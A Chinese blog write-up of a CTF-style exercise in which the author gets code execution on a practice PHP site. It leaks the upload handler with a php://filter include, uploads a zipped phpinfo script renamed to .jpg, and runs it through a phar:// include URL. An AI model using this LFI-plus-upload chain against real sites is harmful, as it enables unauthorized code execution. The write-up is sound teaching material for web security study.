记一次简单的GetShell案例

案例链接:

http://202.112.51.184:8007/

打开链接,发现分了多个页面:

 

 

挨个点击,大概清楚是上传指定格式的文件然后在搜索的时候使文件执行从而GetShell,观察发现点击每个页面后出现“?page=xxx"字样,查看源代码发现还有隐藏的php文件:

于是输入:

http://202.112.51.184:8004/index.php?page=php://filter/convert.base64-encode/resource=upload

得到一串base64编码:

在线解密后得到网页隐藏源码:

 1 <html lang="zh-CN">
 2   <head>
 3     <meta charset="utf-8">
 4 <?php
 5 $error=$_FILES['pic']['error'];
 6 $tmpName=$_FILES['pic']['tmp_name'];
 7 $name=$_FILES['pic']['name'];
 8 $size=$_FILES['pic']['size'];
 9 $type=mime_content_type($tmpName);
10 try{
11     if($name!=="")
12     {
13         $name1=substr($name,-4);
14         if(($name1!==".gif") and ($name1!==".jpg") and ($name1!=='.zip'))
15         {
16             echo "hehe";
17             echo "<script language=javascript>alert('上传照片只能是JPG或者GIF!');history.go(-1)</script>";
18             exit;
19         }
20         if($type!=="image/jpeg"&&$type!=="image/gif")
21         {
22             echo mime_content_type($tmpName);
23             echo "<script language=javascript>alert('上传照片只能是JPG或者GIF!');history.go(-1)</script>";
24             exit;
25         }
26         if(is_uploaded_file($tmpName)){
27             $time=time();
28             $rootpath='uploads/'.$time.$name1;
29             if(!move_uploaded_file($tmpName,$rootpath)){
30             echo "<script language='JavaScript'>alert('文件移动失败!');window.location='index.php?page=submit'</script>";
31             exit;
32         }
33     }
34     echo "图片ID:".$time;
35     }
36 }
37 catch(Exception $e)
38 {
39     echo "ERROR";
40 }
41 //
42  ?>
43  </html>

从第十四行可以看出其实也支持ZIP文件,想到可以从这里下手

在本地建一个PHP文件,意在使网站对上传文件解析后执行这段代码,即打开phpinfo界面:

<?php phpinfo();?>

将其压缩成ZIP文件后也可将格式改为jpg上传,可以得到图片ID:

然后记住图片ID,在view页搜索后跳转出现以下页面:

这时我们的PHP代码已经执行,我们就可以输入以下网址得到我们需要的phpinfo页面,即GetShell了:

 

http://202.112.51.184:8007/index.php?page=phar://uploads/1533638442.jpg/2

 

posted @ 2018-08-07 18:47  不不不不不好听  阅读(3798)  评论(1编辑  收藏  举报